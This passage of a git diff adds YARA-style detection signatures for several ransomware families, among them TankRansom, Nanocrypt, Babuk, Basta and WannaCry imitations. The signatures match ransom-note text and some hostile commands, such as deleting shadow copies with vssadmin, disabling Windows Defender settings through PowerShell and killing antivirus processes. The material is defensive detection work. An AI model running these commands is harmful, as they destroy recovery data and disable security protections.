1)*10+(#a_01_1 & 1)*5+(#a_01_2 & 1)*5+(#a_01_3 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Lapsus/Ransom_MSIL_Lapsus_A_MTB.yar b/Ransom/MSIL/Lapsus/Ransom_MSIL_Lapsus_A_MTB.yar new file mode 100644 index 0000000000..90456832f0 --- /dev/null +++ b/Ransom/MSIL/Lapsus/Ransom_MSIL_Lapsus_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_Lapsus_A_MTB{ + meta: + description = "Ransom:MSIL/Lapsus.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {2e 6c 6f 63 6b 65 64 } //1 .locked + $a_81_1 = {41 6c 65 72 74 61 52 61 6e 73 6f 6d } //1 AlertaRansom + $a_81_2 = {52 65 61 64 4d 65 2e 74 78 74 } //1 ReadMe.txt + $a_81_3 = {2e 6f 6e 69 6f 6e } //1 .onion + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/MSIL/LockFile/Ransom_MSIL_LockFile_PDZ_MTB.yar b/Ransom/MSIL/LockFile/Ransom_MSIL_LockFile_PDZ_MTB.yar new file mode 100644 index 0000000000..1d8ef14370 --- /dev/null +++ b/Ransom/MSIL/LockFile/Ransom_MSIL_LockFile_PDZ_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_LockFile_PDZ_MTB{ + meta: + description = "Ransom:MSIL/LockFile.PDZ!MTB,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 05 00 00 " + + strings : + $a_01_0 = {59 00 6f 00 75 00 72 00 20 00 46 00 69 00 6c 00 65 00 73 00 20 00 48 00 61 00 76 00 65 00 20 00 42 00 65 00 65 00 6e 00 20 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //3 Your Files Have Been Encrypted + $a_01_1 = {69 00 73 00 20 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 20 00 61 00 6e 00 64 00 20 00 63 00 6f 00 75 00 6c 00 64 00 20 00 6e 00 6f 00 74 00 20 00 62 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //3 is locked and could not be encrypted + $a_01_2 = {4f 00 6e 00 63 00 65 00 20 00 79 00 6f 00 75 00 20 00 68 00 61 00 76 00 65 00 20 00 6d 00 61 00 64 00 65 00 20 00 70 00 61 00 79 00 6d 00 65 00 6e 00 74 00 2c 00 20 00 79 00 6f 00 75 00 20 00 77 00 69 00 6c 00 6c 00 20 00 62 00 65 00 20 00 73 00 65 00 6e 00 74 00 20 00 61 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 6f 00 72 00 } //2 Once you have made payment, you will be sent a decryptor + $a_01_3 = {44 00 6f 00 20 00 6e 00 6f 00 74 00 20 00 62 00 6f 00 74 00 68 00 65 00 72 00 20 00 74 00 72 00 79 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 74 00 68 00 65 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 6f 00 6e 00 20 00 79 00 6f 00 75 00 72 00 20 00 6f 00 77 00 6e 00 } //2 Do not bother trying to decrypt the files on your own + $a_01_4 = {49 00 66 00 20 00 79 00 6f 00 75 00 20 00 77 00 69 00 73 00 68 00 20 00 74 00 6f 00 20 00 6c 00 65 00 61 00 72 00 6e 00 20 00 6d 00 6f 00 72 00 65 00 2c 00 20 00 6c 00 6f 00 6f 00 6b 00 20 00 66 00 6f 00 72 00 20 00 61 00 20 00 52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 74 00 78 00 74 00 20 00 6f 00 6e 00 20 00 79 00 6f 00 75 00 72 00 20 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 } //1 If you wish to learn more, look for a README.txt on your desktop + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Nano/Ransom_MSIL_Nano_A_MTB.yar b/Ransom/MSIL/Nano/Ransom_MSIL_Nano_A_MTB.yar new file mode 100644 index 0000000000..c6b9e15535 --- /dev/null +++ b/Ransom/MSIL/Nano/Ransom_MSIL_Nano_A_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_MSIL_Nano_A_MTB{ + meta: + description = "Ransom:MSIL/Nano.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_81_0 = {64 72 6f 70 52 61 6e 73 6f 6d 4e 6f 74 65 } //1 dropRansomNote + $a_81_1 = {4e 61 6e 6f 5f 4e 6f 74 65 2e 74 78 74 } //1 Nano_Note.txt + $a_81_2 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 4e 61 6e 6f 20 52 61 6e 73 6f 6d 77 61 72 65 2c 20 6d 65 61 6e 69 6e 67 20 74 68 61 74 20 79 6f 75 72 20 64 61 74 61 20 69 73 20 65 6e 63 72 79 70 74 65 64 } //1 Your files are encrypted by Nano Ransomware, meaning that your data is encrypted + $a_81_3 = {79 6f 75 20 77 69 6c 6c 20 6e 65 65 64 20 74 6f 20 70 61 79 20 66 6f 72 20 69 74 } //1 you will need to pay for it + $a_81_4 = {54 68 65 20 70 61 79 6d 65 6e 74 20 69 73 20 61 63 63 65 70 74 65 64 20 6f 6e 6c 79 20 69 6e 20 42 69 74 63 6f 69 6e } //1 The payment is accepted only in Bitcoin + $a_81_5 = {59 6f 75 20 73 68 6f 75 6c 64 20 72 65 63 65 69 76 65 20 61 20 72 65 70 6c 79 20 66 72 6f 6d 20 74 68 65 20 73 61 6d 65 20 61 64 64 72 65 73 73 2c 20 6f 6e 6c 79 20 74 68 69 73 20 74 69 6d 65 20 77 69 74 68 20 61 20 64 65 63 72 79 70 74 69 6f 6e 20 4b 65 79 } //1 You should receive a reply from the same address, only this time with a decryption Key + $a_81_6 = {64 65 63 72 79 70 74 65 64 } //1 decrypted + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Nanocrypt/Ransom_MSIL_Nanocrypt_YAC_MTB.yar b/Ransom/MSIL/Nanocrypt/Ransom_MSIL_Nanocrypt_YAC_MTB.yar new file mode 100644 index 0000000000..d90a41f081 --- /dev/null +++ b/Ransom/MSIL/Nanocrypt/Ransom_MSIL_Nanocrypt_YAC_MTB.yar @@ -0,0 +1,20 @@ + +rule Ransom_MSIL_Nanocrypt_YAC_MTB{ + meta: + description = "Ransom:MSIL/Nanocrypt.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 00 " + + strings : + $a_01_0 = {69 00 73 00 20 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 } //1 is locked + $a_01_1 = {41 00 63 00 63 00 65 00 73 00 73 00 20 00 64 00 65 00 6e 00 69 00 65 00 64 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 } //1 Access denied to file + $a_01_2 = {2f 00 43 00 20 00 72 00 65 00 61 00 67 00 65 00 6e 00 74 00 63 00 20 00 2f 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 } //1 /C reagentc /disable + $a_01_3 = {52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 74 00 78 00 74 00 } //1 README.txt + $a_01_4 = {2e 00 6e 00 63 00 72 00 79 00 70 00 74 00 } //1 .ncrypt + $a_01_5 = {45 00 4e 00 43 00 52 00 59 00 50 00 54 00 45 00 44 00 20 00 42 00 59 00 20 00 4e 00 41 00 4e 00 4f 00 43 00 52 00 59 00 50 00 54 00 20 00 52 00 41 00 4e 00 53 00 4f 00 4d 00 57 00 41 00 52 00 45 00 } //10 ENCRYPTED BY NANOCRYPT RANSOMWARE + $a_01_6 = {70 00 61 00 79 00 6d 00 65 00 6e 00 74 00 20 00 68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 64 00 } //1 payment has been authorized + $a_01_7 = {64 00 65 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 6b 00 65 00 79 00 } //1 decryption key + $a_01_8 = {62 00 6f 00 6f 00 74 00 20 00 62 00 61 00 63 00 6b 00 20 00 69 00 6e 00 74 00 6f 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 } //1 boot back into windows + $a_01_9 = {43 00 52 00 45 00 41 00 54 00 45 00 44 00 20 00 46 00 4f 00 52 00 20 00 46 00 55 00 4e 00 } //1 CREATED FOR FUN + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*10+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=19 + +} \ No newline at end of file diff --git a/Ransom/MSIL/Paradise/Ransom_MSIL_Paradise_APA_MTB.yar b/Ransom/MSIL/Paradise/Ransom_MSIL_Paradise_APA_MTB.yar new file mode 100644 index 0000000000..412fb2365a --- /dev/null +++ b/Ransom/MSIL/Paradise/Ransom_MSIL_Paradise_APA_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_MSIL_Paradise_APA_MTB{ + meta: + description = "Ransom:MSIL/Paradise.APA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 05 16 13 06 2b 37 1f 75 8d ?? ?? ?? 01 13 07 16 13 08 2b 15 11 07 11 08 08 11 05 91 9c 11 05 17 58 13 05 11 08 17 58 13 08 11 08 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SK_MTB.yar b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SK_MTB.yar new file mode 100644 index 0000000000..703739ee05 --- /dev/null +++ b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SK_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_TankRansom_SK_MTB{ + meta: + description = "Ransom:MSIL/TankRansom.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {2e 54 41 4e 4b 49 58 } //1 .TANKIX + $a_81_1 = {41 6c 6c 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 66 69 6c 65 73 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 61 20 73 70 65 63 69 61 6c 20 61 6c 67 6f 72 69 74 68 6d 20 62 79 20 54 61 6e 6b 69 20 58 2e 20 59 6f 75 72 20 64 6f 63 75 6d 65 6e 74 73 2c 20 70 68 6f 74 6f 73 2c 20 6d 75 73 69 63 2c 20 65 74 63 } //1 All your computer files has been encrypted with a special algorithm by Tanki X. Your documents, photos, music, etc + $a_81_2 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 42 53 4f 44 2e 65 78 65 } //1 C:\Windows\BSOD.exe + $a_81_3 = {54 61 6e 6b 52 61 6e 73 6f 6d 5f 33 2e 5f 30 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 TankRansom_3._0.Properties.Resources + $a_81_4 = {43 3a 2f 57 69 6e 64 6f 77 73 2f 57 61 72 6e 69 6e 67 2e 6a 70 67 } //1 C:/Windows/Warning.jpg + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SL_MTB.yar b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SL_MTB.yar new file mode 100644 index 0000000000..0bc0cc7086 --- /dev/null +++ b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SL_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_TankRansom_SL_MTB{ + meta: + description = "Ransom:MSIL/TankRansom.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_81_0 = {54 61 6e 6b 69 20 58 20 52 61 6e 73 6f 6d 77 61 72 65 20 34 2e 30 } //2 Tanki X Ransomware 4.0 + $a_81_1 = {41 74 74 65 6e 74 69 6f 6e 21 20 59 6f 75 72 20 4f 53 20 61 6e 64 20 79 6f 75 72 20 66 69 6c 65 73 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 54 61 6e 6b 69 20 58 20 52 61 6e 73 6f 6d 77 61 72 65 } //2 Attention! Your OS and your files is encrypted by Tanki X Ransomware + $a_81_2 = {24 36 37 36 31 66 64 39 37 2d 32 63 39 62 2d 34 66 62 31 2d 61 63 36 63 2d 63 61 31 33 32 33 32 30 37 65 37 61 } //2 $6761fd97-2c9b-4fb1-ac6c-ca1323207e7a + $a_81_3 = {41 72 68 69 62 6f 74 54 61 6e 6b 69 58 4c 61 72 6e 79 31 33 33 37 } //2 ArhibotTankiXLarny1337 + $a_81_4 = {2f 6b 20 74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 41 76 61 73 74 55 49 2e 65 78 65 20 26 26 20 65 78 69 74 } //2 /k taskkill /f /im AvastUI.exe && exit + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SM_MTB.yar b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SM_MTB.yar new file mode 100644 index 0000000000..077eb66d82 --- /dev/null +++ b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SM_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_TankRansom_SM_MTB{ + meta: + description = "Ransom:MSIL/TankRansom.SM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_81_0 = {54 61 6e 6b 69 58 52 61 6e 73 6f 6d 77 61 72 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 TankiXRansomware.Properties.Resources.resources + $a_81_1 = {24 63 63 65 64 62 39 38 62 2d 62 63 62 62 2d 34 61 64 62 2d 62 35 64 61 2d 61 38 30 38 36 39 38 31 63 36 65 39 } //2 $ccedb98b-bcbb-4adb-b5da-a8086981c6e9 + $a_81_2 = {54 61 6e 6b 69 58 52 61 6e 73 6f 6d 77 61 72 65 5c 6f 62 6a 5c 44 65 62 75 67 5c 54 61 6e 6b 69 58 52 61 6e 73 6f 6d 77 61 72 65 2e 70 64 62 } //2 TankiXRansomware\obj\Debug\TankiXRansomware.pdb + $a_81_3 = {57 65 6c 63 6f 6d 65 21 20 59 6f 75 72 20 61 6c 6c 20 66 69 6c 65 73 2c 20 61 6e 64 20 64 61 74 61 20 69 73 20 46 55 4c 4c 59 20 45 4e 43 52 59 50 54 45 44 20 77 69 74 68 20 61 20 73 70 65 63 69 61 6c 20 61 6c 67 6f 72 69 74 6d 20 54 58 21 } //2 Welcome! Your all files, and data is FULLY ENCRYPTED with a special algoritm TX! + $a_81_4 = {44 6f 6e 27 74 20 74 72 79 20 74 6f 20 6b 69 6c 6c 20 72 61 6e 73 6f 6d 77 61 72 65 20 2d 20 59 6f 75 72 20 50 43 20 77 69 6c 6c 20 62 75 72 6e } //2 Don't try to kill ransomware - Your PC will burn + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SN_MTB.yar b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SN_MTB.yar new file mode 100644 index 0000000000..f94512449c --- /dev/null +++ b/Ransom/MSIL/TankRansom/Ransom_MSIL_TankRansom_SN_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_TankRansom_SN_MTB{ + meta: + description = "Ransom:MSIL/TankRansom.SN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_81_0 = {24 63 38 66 66 64 34 35 64 2d 63 31 33 39 2d 34 33 37 64 2d 38 31 32 38 2d 66 64 62 39 38 63 37 66 62 31 66 62 } //2 $c8ffd45d-c139-437d-8128-fdb98c7fb1fb + $a_81_1 = {43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 53 79 73 74 65 6d 33 32 5c 76 6f 69 63 65 2e 76 62 73 } //2 C:\Program Files\System32\voice.vbs + $a_81_2 = {54 61 6e 6b 69 20 58 20 52 61 6e 73 6f 6d 77 61 72 65 20 32 2e 30 } //2 Tanki X Ransomware 2.0 + $a_81_3 = {59 6f 75 72 20 61 6c 6c 20 66 69 6c 65 73 20 61 6e 64 20 64 61 74 61 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 54 61 6e 6b 69 20 58 } //2 Your all files and data is encrypted by Tanki X + $a_81_4 = {54 61 6e 6b 69 20 58 20 52 61 6e 73 6f 6d 77 61 72 65 20 32 2e 30 5c 6f 62 6a 5c 44 65 62 75 67 5c 54 61 6e 6b 69 20 58 20 52 61 6e 73 6f 6d 77 61 72 65 20 32 2e 30 2e 70 64 62 } //2 Tanki X Ransomware 2.0\obj\Debug\Tanki X Ransomware 2.0.pdb + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*2+(#a_81_2 & 1)*2+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Ransom/MSIL/WannaCry/Ransom_MSIL_WannaCry_MBZ_MTB.yar b/Ransom/MSIL/WannaCry/Ransom_MSIL_WannaCry_MBZ_MTB.yar new file mode 100644 index 0000000000..0ba2fa2039 --- /dev/null +++ b/Ransom/MSIL/WannaCry/Ransom_MSIL_WannaCry_MBZ_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_WannaCry_MBZ_MTB{ + meta: + description = "Ransom:MSIL/WannaCry.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {4f 00 6f 00 6f 00 70 00 73 00 2c 00 20 00 79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //2 Ooops, your files has been encrypted + $a_01_1 = {53 00 65 00 6e 00 64 00 20 00 24 00 36 00 30 00 30 00 20 00 77 00 6f 00 72 00 74 00 68 00 20 00 6f 00 66 00 20 00 62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 20 00 74 00 6f 00 20 00 74 00 68 00 69 00 73 00 20 00 61 00 64 00 72 00 65 00 73 00 73 00 } //1 Send $600 worth of bitcoin to this adress + $a_01_2 = {57 00 61 00 6e 00 6e 00 61 00 20 00 44 00 65 00 63 00 72 00 79 00 70 00 74 00 30 00 72 00 20 00 32 00 2e 00 30 00 } //1 Wanna Decrypt0r 2.0 + $a_01_3 = {50 00 6c 00 65 00 61 00 73 00 65 00 20 00 70 00 61 00 79 00 20 00 66 00 69 00 72 00 73 00 74 00 21 00 20 00 6f 00 6e 00 65 00 20 00 66 00 69 00 6c 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 2e 00 } //1 Please pay first! one file deleted. + $a_01_4 = {46 00 41 00 4b 00 45 00 20 00 57 00 41 00 4e 00 4e 00 41 00 20 00 43 00 52 00 59 00 } //1 FAKE WANNA CRY + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/WormLocker/Ransom_MSIL_WormLocker_AWM_MTB.yar b/Ransom/MSIL/WormLocker/Ransom_MSIL_WormLocker_AWM_MTB.yar new file mode 100644 index 0000000000..8baeba8cd9 --- /dev/null +++ b/Ransom/MSIL/WormLocker/Ransom_MSIL_WormLocker_AWM_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_WormLocker_AWM_MTB{ + meta: + description = "Ransom:MSIL/WormLocker.AWM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {16 13 09 2b 22 00 11 04 11 09 9a 28 ?? 00 00 0a 00 11 05 11 04 11 09 9a 11 06 6f ?? 00 00 06 00 00 11 09 17 58 13 09 11 09 11 04 8e 69 } //2 + $a_01_1 = {57 6f 72 6d 5f 4c 6f 63 6b 65 72 5c 6f 62 6a 5c 44 65 62 75 67 5c 57 6f 72 6d 5f 4c 6f 63 6b 65 72 2e 70 64 62 } //1 Worm_Locker\obj\Debug\Worm_Locker.pdb + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Python/FileCoder/Ransom_Python_Filecoder_DA_MTB.yar b/Ransom/Python/FileCoder/Ransom_Python_Filecoder_DA_MTB.yar new file mode 100644 index 0000000000..4c4638545f --- /dev/null +++ b/Ransom/Python/FileCoder/Ransom_Python_Filecoder_DA_MTB.yar @@ -0,0 +1,19 @@ + +rule Ransom_Python_Filecoder_DA_MTB{ + meta: + description = "Ransom:Python/Filecoder.DA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,ffffffd6 00 ffffffd6 00 09 00 00 " + + strings : + $a_81_0 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 } //100 powershell -C + $a_81_1 = {53 65 74 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 } //100 Set-MpPreference + $a_81_2 = {2d 53 75 62 6d 69 74 53 61 6d 70 6c 65 73 43 6f 6e 73 65 6e 74 20 4e 65 76 65 72 53 65 6e 64 } //10 -SubmitSamplesConsent NeverSend + $a_81_3 = {2d 4d 41 50 53 52 65 70 6f 72 74 69 6e 67 20 44 69 73 61 62 6c 65 } //10 -MAPSReporting Disable + $a_81_4 = {2d 45 6e 61 62 6c 65 43 6f 6e 74 72 6f 6c 6c 65 64 46 6f 6c 64 65 72 41 63 63 65 73 73 20 44 69 73 61 62 6c 65 64 } //10 -EnableControlledFolderAccess Disabled + $a_81_5 = {77 69 6e 64 6f 77 73 20 64 65 66 65 6e 64 65 72 20 65 76 61 73 69 6f 6e 20 73 75 63 63 65 73 73 66 75 6c 6c } //1 windows defender evasion successfull + $a_81_6 = {74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 65 78 70 6c 6f 72 65 72 2e 65 78 65 } //1 taskkill /f /im explorer.exe + $a_81_7 = {65 6e 63 72 79 70 74 65 64 5f 64 61 74 61 } //1 encrypted_data + $a_81_8 = {65 6e 63 72 79 70 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 } //1 encrypted successfully + condition: + ((#a_81_0 & 1)*100+(#a_81_1 & 1)*100+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=214 + +} \ No newline at end of file diff --git a/Ransom/Win32/Babuk/Ransom_Win32_Babuk_KK_MTB.yar b/Ransom/Win32/Babuk/Ransom_Win32_Babuk_KK_MTB.yar new file mode 100644 index 0000000000..ac9898ae00 --- /dev/null +++ b/Ransom/Win32/Babuk/Ransom_Win32_Babuk_KK_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win32_Babuk_KK_MTB{ + meta: + description = "Ransom:Win32/Babuk.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 05 00 00 " + + strings : + $a_03_0 = {8a b9 ff 0f 40 00 [0-10] 88 b9 ff 0f 40 00 } //10 + $a_01_1 = {8a 9a 00 10 40 00 80 c3 1c c0 cb 2f c0 c3 1c c0 cb 24 88 9a 00 10 40 00 42 81 fa 9b 31 02 00 75 } //10 + $a_01_2 = {6d 20 73 6f 20 63 6f 6f 6c 20 3a 29 } //5 m so cool :) + $a_01_3 = {59 65 61 70 20 2c 20 69 60 6d 20 61 20 62 61 64 20 6d 6f 74 68 65 72 20 66 75 63 6b 65 72 20 21 } //3 Yeap , i`m a bad mother fucker ! + $a_01_4 = {48 6f 77 20 6c 61 6d 65 20 63 61 6e 20 75 20 62 65 20 3f } //2 How lame can u be ? + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*5+(#a_01_3 & 1)*3+(#a_01_4 & 1)*2) >=20 + +} \ No newline at end of file diff --git a/Ransom/Win32/Babuk/Ransom_Win32_Babuk_MKZ_MTB.yar b/Ransom/Win32/Babuk/Ransom_Win32_Babuk_MKZ_MTB.yar new file mode 100644 index 0000000000..aebe38c1cf --- /dev/null +++ b/Ransom/Win32/Babuk/Ransom_Win32_Babuk_MKZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win32_Babuk_MKZ_MTB{ + meta: + description = "Ransom:Win32/Babuk.MKZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 00 " + + strings : + $a_03_0 = {8b 45 88 33 44 8a 08 b9 04 00 00 00 d1 e1 8b 55 0c 89 04 0a b8 04 00 00 00 6b c8 07 8b 55 08 8a 84 0a ?? ?? ?? ?? 88 45 f6 b9 04 00 00 00 6b d1 07 8b 45 08 8b 8c 10 ?? ?? ?? ?? c1 e9 10 88 4d f5 } //5 + $a_00_1 = {61 6c 6c 20 79 6f 75 72 20 64 61 74 61 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //2 all your data has been encrypted + $a_00_2 = {50 4c 45 41 53 45 20 52 45 41 44 20 4d 45 2e 74 78 74 } //2 PLEASE READ ME.txt + $a_00_3 = {76 73 73 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //2 vssadmin.exe delete shadows /all /quiet + condition: + ((#a_03_0 & 1)*5+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2) >=11 + +} \ No newline at end of file diff --git a/Ransom/Win32/Basta/Ransom_Win32_Basta_KTS_MTB.yar b/Ransom/Win32/Basta/Ransom_Win32_Basta_KTS_MTB.yar new file mode 100644 index 0000000000..8eb61c6fd0 --- /dev/null +++ b/Ransom/Win32/Basta/Ransom_Win32_Basta_KTS_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win32_Basta_KTS_MTB{ + meta: + description = "Ransom:Win32/Basta.KTS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {f7 f7 8b 44 24 14 31 14 98 33 d2 a1 ?? ?? ?? ?? f7 f3 0f b7 05 ?? ?? ?? ?? 03 d0 8b 44 24 5c 0f b7 44 68 06 8b 6c 24 10 23 d0 8b 44 24 50 0f af 14 88 89 14 88 41 3b 4c 24 40 7f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win32/Basta/Ransom_Win32_Basta_PAGY_MTB.yar b/Ransom/Win32/Basta/Ransom_Win32_Basta_PAGY_MTB.yar new file mode 100644 index 0000000000..a156c544e6 --- /dev/null +++ b/Ransom/Win32/Basta/Ransom_Win32_Basta_PAGY_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win32_Basta_PAGY_MTB{ + meta: + description = "Ransom:Win32/Basta.PAGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {8b 86 8c 00 00 00 88 0c 02 ff 05 ?? ?? ?? ?? 8b 46 58 8b 8e 8c 00 00 00 88 1c 01 ff 46 58 a1 ?? ?? ?? ?? 8b 8e e0 00 00 00 2b 88 cc } //2 + $a_03_1 = {89 86 c0 00 00 00 a1 ?? ?? ?? ?? 8b 8e 8c 00 00 00 88 14 08 8b d3 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/Win32/Beast/Ransom_Win32_Beast_F.yar b/Ransom/Win32/Beast/Ransom_Win32_Beast_F.yar new file mode 100644 index 0000000000..9e7294db04 --- /dev/null +++ b/Ransom/Win32/Beast/Ransom_Win32_Beast_F.yar @@ -0,0 +1,12 @@ + +rule Ransom_Win32_Beast_F{ + meta: + description = "Ransom:Win32/Beast.F,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {8a 54 06 04 8b 0e 02 c8 32 ca 88 4c 06 04 40 83 f8 1b 